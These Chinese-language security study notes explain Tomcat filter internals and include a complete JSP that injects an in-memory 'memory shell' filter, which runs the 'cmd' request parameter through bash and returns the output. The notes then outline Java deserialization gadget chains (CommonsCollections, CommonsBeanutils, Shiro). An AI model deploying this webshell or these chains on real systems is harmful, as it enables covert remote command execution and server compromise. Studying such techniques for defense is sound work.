Tomcat-filter内存马
- 参考文章:
filter初始化
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
配置 -> WebXml对象
web.xml或者是这种注解 @WebFilter(filterName = "MyFilter", urlPatterns = "/*")
的解析函数在此类中D:\tomcat9.0.69\lib\catalina.jar!org.apache.catalina.startup.ContextConfig
,并把相应配置转化成WebXml对象中的数据
注解方式的解析详看此链接:https://xz.aliyun.com/t/10196#toc-1
web.xml的解析暂且挖坑
WebXml对象 -> context对象
再次使用ContextConfig类调用configureContext函数解析 WebXml对象
接着是org.apache.catalina.core.StandardContext#filterStart
将filterDef以ApplicationFilterConfig的形式存在,并且将其放到了filterConfig中
Ar3h 师傅的总结
通过web.xml配置和WebFilter注解的方式,把filter所有信息都封装成filterDef、filterMap这两个对象,然后最终都存放到了StandardContext类型对象的filterDefs变量和filterMaps变量中。
这里就产生了一个思路,只要我们获取到StandardContext这个上下文对象,把我们的filter包装成filterDef、filterMap对象,然后通过函数或者反射方式加到StandardContext的两个变量中,就相当于走完以上所有的流程配置了filter。
有HTTP请求时filter状态
- 注意:每次HTTP请求都会创建一个filter链(FilterChain)
当我们发起一个请求后,D:\tomcat9.0.69\lib\catalina.jar!\org\apache\catalina\core\StandardWrapperValve.class
中的invoke函数中会创建一个FilterChain
此后的过程看 天下大木头师傅的文章:http://wjlshare.com/archives/1529
天下大木头师傅的总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
Filter型内存马注入
获取context
参考文章:https://xz.aliyun.com/t/9914
能直接获取 request 的时候
将我们的 ServletContext 转为 StandardContext 从而获取 context
ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从线程中获取StandardContext
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
注入内存马
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
// 获取context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ //判断是否重名
// 不重名的情况下,创建一个恶意的过滤器对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
// 创建一个 FilterDef并把name和刚创建的恶意过滤器传参
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
// 创建一个FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 这是为了匹配所有请求
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 把构造的恶意FilterMap对象放在最前面
standardContext.addFilterMapBefore(filterMap);
// 反射构造恶意的ApplicationFilterConfig对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 添加恶意的ApplicationFilterConfig
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
概述
Commons Collections 3.2.2的改动
Commons Collections4 4.1的改动
4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了
CommonCollections1链
适用环境
commons-collections3.1-3.2.1
jdk1.7.1以下
TransformedMap_readObject触发
大体思路
- AnnotationInvocationHandler#readObject()
- TransformedMap#put()
- transformerChain#transform()
- ConstantTransformer#transform() InvokerTransformer#transform()
细节问题在p神的《java安全漫谈》-10会详细解释
- 参考链接:
- https://blog.csdn.net/qq_35733751/article/details/118387718
- p神的《java安全漫谈》-9,10
LazyMap_invoke触发
大体思路
AnnotationInvocationHandler实现了InvocationHandler接口,这在动态代理中相当于是重写了invoke()函数去解决下面问题
当通过代理类的对象调用方法a时,如何动态的去调用被代理类中的同名方法a?
AnnotationInvocationHandler#readObject()
当readObject()使用代理类执行任何方法时会跳转到第2步
AnnotationInvocationHandler#invoke()
LazyMap#get()
transformerChain#transform()
ConstantTransformer#transform() InvokerTransformer#transform()
- 参考链接
- https://blog.csdn.net/qq_35733751/article/details/118462281
- p神的《java安全漫谈》-11
invoke是动态代理定位方法的函数。当通过代理类对象调用方法时,会自动的调用invoke函数进而调用被代理类中同名的方法
高版本jdk如何触发链
跳转到cc6链
CC2链
适用环境
commons-collections4 4.0
TestPriorityQueueTransformingComparator
大体思路
java.util.PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
这个函数里调用了comparator.compare()
org.apache.commons.collections4.comparators.TransformingComparator#compare()
transformerChain#transform()
ConstantTransformer#transform() InvokerTransformer#transform()
-
参考链接
-
p神的《java安全漫谈》-16
关于PriorityQueue队列的文章:https://songly.blog.csdn.net/article/details/119008552
CC3链
适用环境
commons-collections3.1-3.2.1
jdk1.7.1以下
-
关于字节码需要注意:
这个字节码对应的类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
TemplatesImpl与InvokerTransformer
大体思路
在cc1链基础上借助TemplatesImpl::newTransformer()和ConstantTransformer构造⼀个执⾏任意字节码的链
AnnotationInvocationHandler#readObject()
TransformedMap#put()
其实这一步也可以使用LazyMap#get()那条链
transformerChain#transform()
ConstantTransformer#transform() InvokerTransformer#transform()
这一步是获得TemplatesImpl对象,并调用TemplatesImpl.newTransformer()函数
- 参考链接:
- p神的《java安全漫谈》-14
TrAXFilter与InstantiateTransformer
大体思路
在cc1链基础上借助TrAXFilter和InstantiateTransformer调用TemplatesImpl::newTransformer()构造⼀个执⾏任意字节码的链
AnnotationInvocationHandler#readObject()
TransformedMap#put()
其实这一步也可以使用LazyMap#get()那条链
transformerChain#transform()
ConstantTransformer#transform() InstantiateTransformer#transform()
这一步是获得TrAXFilter对象,并调用TrAXFilter的构造函数,进而执行了(TransformerImpl) templates.newTransformer()
- 参考链接:
- p神的《java安全漫谈》-14
- https://songly.blog.csdn.net/article/details/118943156
高版本jdk如何触发链
- 参考cc1链如何改进成cc6链
CC4链
适用环境
commons-collections4 4.0
其实commons-collections依赖的其它链还可以继续用,只需把报错修改一下
CC6链
大体思路
java.util.HashMap#readObject()
HashMap#hash(key)
key是Map对象
TiedMapEntry#hashCode()
TiedMapEntry#getValue()
这一步执行了
LazyMap#get(key)
transformerChain#transform()
ConstantTransformer#transform() InvokerTransformer#transform()
参考链接
- p神的《java安全漫谈》-12
CommonsBeanutils1链
适用环境
CommonsBeanutils 1.9.3
TestPriorityQueueBeanComparator
大体思路
java.util.PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
这个函数里调用了comparator.compare()
BeanComparator#compare()
PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法
TemplatesImpl#getOutputProperties()
参考链接
- p神的《java安全漫谈》-17
Shiro利用链
TestTiedMapInvokerTransformer
大体思路
可以结合代码中的注释看
- java.util.HashMap#readObject()
- HashMap#hash(key)
- TiedMapEntry#hashCode()
- TiedMapEntry#getValue()
- LazyMap#get()
- InvokerTransformer#transform()
参考链接
- p神的《java安全漫谈》-15
无依赖的Shiro反序列化利用链
参考链接
- p神的《java安全漫谈》-17